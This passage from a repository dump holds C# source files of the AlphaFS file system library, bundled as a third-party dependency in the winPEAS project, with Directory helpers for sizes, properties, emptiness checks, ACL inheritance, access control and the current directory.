/// </summary>\n      /// <returns>A dictionary mapping the keys mentioned above to their respective aggregated values.</returns>\n      /// <remarks><b>Directory:</b> is an object which has <see cref=\"FileAttributes.Directory\"/> attribute without <see cref=\"FileAttributes.ReparsePoint\"/> one.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The target directory.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static Dictionary<string, long> GetPropertiesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)\n      {\n         return GetPropertiesCore(transaction, path, options, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points.\n      ///   <para>Properties include aggregated info from <see cref=\"FileAttributes\"/> of each encountered file system object, plus additional ones: Total, File, Size and Error.</para>\n      ///   <para><b>Total:</b> is the total number of enumerated objects.</para>\n      ///   <para><b>File:</b> is the total number of files. File is considered when object is neither <see cref=\"FileAttributes.Directory\"/> nor <see cref=\"FileAttributes.ReparsePoint\"/>.</para>\n      ///   <para><b>Size:</b> is the total size of enumerated objects.</para>\n      ///   <para><b>Error:</b> is the total number of errors encountered during enumeration.</para>\n      /// </summary>\n      /// <returns>A dictionary mapping the keys mentioned above to their respective aggregated values.</returns>\n      /// <remarks><b>Directory:</b> is an object which has <see cref=\"FileAttributes.Directory\"/> attribute without <see cref=\"FileAttributes.ReparsePoint\"/> one.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The target directory.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static Dictionary<string, long> GetPropertiesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return GetPropertiesCore(transaction, path, options, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetSize.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"path\">The path to the directory.</param>\n      [SecurityCritical]\n      public static long GetSize(string path)\n      {\n         return GetSizeCore(null, path, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long GetSize(string path, PathFormat pathFormat)\n      {\n         return GetSizeCore(null, path, false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      [SecurityCritical]\n      public static long GetSize(string path, bool sizeOfAllStreams)\n      {\n         return GetSizeCore(null, path, sizeOfAllStreams, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long GetSize(string path, bool sizeOfAllStreams, PathFormat pathFormat)\n      {\n         return GetSizeCore(null, path, sizeOfAllStreams, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      /// <param name=\"recursive\"><c>true</c> to include subdirectories.</param>\n      [SecurityCritical]\n      public static long GetSize(string path, bool sizeOfAllStreams, bool recursive)\n      {\n         return GetSizeCore(null, path, sizeOfAllStreams, recursive, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      /// <param name=\"recursive\"><c>true</c> to include subdirectories.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long GetSize(string path, bool sizeOfAllStreams, bool recursive, PathFormat pathFormat)\n      {\n         return GetSizeCore(null, path, sizeOfAllStreams, recursive, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetSizeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      [SecurityCritical]\n      public static long GetSizeTransacted(KernelTransaction transaction, string path)\n      {\n         return GetSizeCore(transaction, path, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long GetSizeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetSizeCore(transaction, path, false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      [SecurityCritical]\n      public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams)\n      {\n         return GetSizeCore(transaction, path, sizeOfAllStreams, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams, PathFormat pathFormat)\n      {\n         return GetSizeCore(transaction, path, sizeOfAllStreams, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      /// <param name=\"recursive\"><c>true</c> to include subdirectories.</param>\n      [SecurityCritical]\n      public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams, bool recursive)\n      {\n         return GetSizeCore(transaction, path, sizeOfAllStreams, recursive, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      /// <param name=\"recursive\"><c>true</c> to include subdirectories.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams, bool recursive, PathFormat pathFormat)\n      {\n         return GetSizeCore(transaction, path, sizeOfAllStreams, recursive, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.HasInheritedPermissions.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Checks if the directory has permission inheritance enabled.</summary>\n      /// <param name=\"path\">The full path to the directory to check.</param>\n      /// <returns><c>true</c> if permission inheritance is enabled, <c>false</c> if permission inheritance is disabled.</returns>\n      public static bool HasInheritedPermissions(string path)\n      {\n         return HasInheritedPermissions(path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Checks if the directory has permission inheritance enabled.</summary>\n      /// <returns><c>true</c> if permission inheritance is enabled, <c>false</c> if permission inheritance is disabled.</returns>\n      /// <param name=\"path\">The full path to the directory to check.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      public static bool HasInheritedPermissions(string path, PathFormat pathFormat)\n      {\n         if (Utils.IsNullOrWhiteSpace(path))\n            throw new ArgumentNullException(\"path\");\n\n\n         var acl = File.GetAccessControlCore<DirectorySecurity>(true, path, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, pathFormat);\n\n         var rawBytes = acl.GetSecurityDescriptorBinaryForm();\n\n         var rsd = new RawSecurityDescriptor(rawBytes, 0);\n\n\n         // \"Include inheritable permissions from this object's parent\" is unchecked.\n         var inheritanceDisabled = (rsd.ControlFlags & ControlFlags.DiscretionaryAclProtected) == ControlFlags.DiscretionaryAclProtected;\n\n         return !inheritanceDisabled;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.IsEmpty.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Determines whether the given directory is empty; i.e. it contains no files and no subdirectories.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> when the directory contains no file system objects.</para>\n      ///   <para>Returns <c>false</c> when directory contains at least one file system object.</para>\n      /// </returns>\n      /// <param name=\"directoryPath\">The path to the directory.</param>\n      [SecurityCritical]\n      public static bool IsEmpty(string directoryPath)\n      {\n         return IsEmptyCore(null, directoryPath, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the given directory is empty; i.e. it contains no files and no subdirectories.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> when the directory contains no file system objects.</para>\n      ///   <para>Returns <c>false</c> when directory contains at least one file system object.</para>\n      /// </returns>\n      /// <param name=\"directoryPath\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static bool IsEmpty(string directoryPath, PathFormat pathFormat)\n      {\n         return IsEmptyCore(null, directoryPath, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.IsEmptyTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Determines whether the given directory is empty; i.e. it contains no files and no subdirectories.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> when the directory contains no file system objects.</para>\n      ///   <para>Returns <c>false</c> when directory contains at least one file system object.</para>\n      /// </returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"directoryPath\">The path to the directory.</param>\n      [SecurityCritical]\n      public static bool IsEmptyTransacted(KernelTransaction transaction, string directoryPath)\n      {\n         return IsEmptyCore(transaction, directoryPath, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the given directory is empty; i.e. it contains no files and no subdirectories.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> when the directory contains no file system objects.</para>\n      ///   <para>Returns <c>false</c> when directory contains at least one file system object.</para>\n      /// </returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"directoryPath\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static bool IsEmptyTransacted(KernelTransaction transaction, string directoryPath, PathFormat pathFormat)\n      {\n         return IsEmptyCore(transaction, directoryPath, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.SetAccessControl.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\nusing System.Security.AccessControl;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"DirectorySecurity\"/> object to the specified directory.</summary>\n      /// <param name=\"path\">A directory to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"directorySecurity\">A <see cref=\"DirectorySecurity \"/> object that describes an ACL entry to apply to the directory described by the path parameter.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(string path, DirectorySecurity directorySecurity)\n      {\n         File.SetAccessControlCore(path, null, directorySecurity, AccessControlSections.All, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Applies access control list (ACL) entries described by a <see cref=\"DirectorySecurity\"/> object to the specified directory.</summary>\n      /// <param name=\"path\">A directory to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"directorySecurity\">A <see cref=\"DirectorySecurity \"/> object that describes an ACL entry to apply to the directory described by the path parameter.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(string path, DirectorySecurity directorySecurity, PathFormat pathFormat)\n      {\n         File.SetAccessControlCore(path, null, directorySecurity, AccessControlSections.All, pathFormat);\n      }\n\n\n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"DirectorySecurity\"/> object to the specified directory.</summary>\n      /// <remarks>Note that unlike <see cref=\"System.IO.File.SetAccessControl\"/> this method does <b>not</b> automatically\n      /// determine what parts of the specified <see cref=\"DirectorySecurity\"/> instance has been modified. Instead, the\n      /// parameter <paramref name=\"includeSections\"/> is used to specify what entries from <paramref name=\"directorySecurity\"/> to apply to <paramref name=\"path\"/>.</remarks>\n      /// <param name=\"path\">A directory to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"directorySecurity\">A <see cref=\"DirectorySecurity \"/> object that describes an ACL entry to apply to the directory described by the path parameter.</param>\n      /// <param name=\"includeSections\">One or more of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to set.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(string path, DirectorySecurity directorySecurity, AccessControlSections includeSections)\n      {\n         File.SetAccessControlCore(path, null, directorySecurity, includeSections, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Applies access control list (ACL) entries described by a <see cref=\"DirectorySecurity\"/> object to the specified directory.</summary>\n      /// <remarks>Note that unlike <see cref=\"System.IO.File.SetAccessControl\"/> this method does <b>not</b> automatically\n      /// determine what parts of the specified <see cref=\"DirectorySecurity\"/> instance has been modified. Instead, the\n      /// parameter <paramref name=\"includeSections\"/> is used to specify what entries from <paramref name=\"directorySecurity\"/> to apply to <paramref name=\"path\"/>.</remarks>\n      /// <param name=\"path\">A directory to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"directorySecurity\">A <see cref=\"DirectorySecurity \"/> object that describes an ACL entry to apply to the directory described by the path parameter.</param>\n      /// <param name=\"includeSections\">One or more of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to set.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(string path, DirectorySecurity directorySecurity, AccessControlSections includeSections, PathFormat pathFormat)\n      {\n         File.SetAccessControlCore(path, null, directorySecurity, includeSections, pathFormat);\n      }\n      \n      \n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"DirectorySecurity\"/> object to the specified directory.</summary>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> to a file to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"directorySecurity\">A <see cref=\"DirectorySecurity \"/> object that describes an ACL entry to apply to the directory described by the path parameter.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(SafeFileHandle handle, DirectorySecurity directorySecurity)\n      {\n         File.SetAccessControlCore(null, handle, directorySecurity, AccessControlSections.All, PathFormat.LongFullPath);\n      }\n      \n\n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"DirectorySecurity\"/> object to the specified directory.</summary>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> to a file to add or remove access control list (ACL) entries from.</param>\n      /// <param name=\"directorySecurity\">A <see cref=\"DirectorySecurity \"/> object that describes an ACL entry to apply to the directory described by the path parameter.</param>\n      /// <param name=\"includeSections\">One or more of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to set.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static void SetAccessControl(SafeFileHandle handle, DirectorySecurity directorySecurity, AccessControlSections includeSections)\n      {\n         File.SetAccessControlCore(null, handle, directorySecurity, includeSections, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.SetCurrentDirectory.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>\n      /// Sets the application's current working directory to the specified directory.\n      /// <para>\n      ///   MSDN: Multithreaded applications and shared library code should not use the GetCurrentDirectory function and should avoid using relative path names.\n      ///   The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process,\n      ///   therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value.\n      ///   <para>This limitation also applies to the SetCurrentDirectory and GetFullPathName functions. The exception being when the application is guaranteed to be running in a single thread,\n      ///   for example parsing file names from the command line argument string in the main thread prior to creating any additional threads.</para>\n      ///   <para>Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported.</para>\n      /// </para>\n      /// </summary>\n      /// <param name=\"path\">The path to which the current working directory is set.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1062:Validate arguments of public methods\", MessageId = \"0\", Justification = \"Utils.IsNullOrWhiteSpace validates arguments.\")]\n      [SecurityCritical]\n      public static void SetCurrentDirectory(string path)\n      {\n         SetCurrentDirectory(path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>\n      /// Sets the application's current working directory to the specified directory.\n      /// 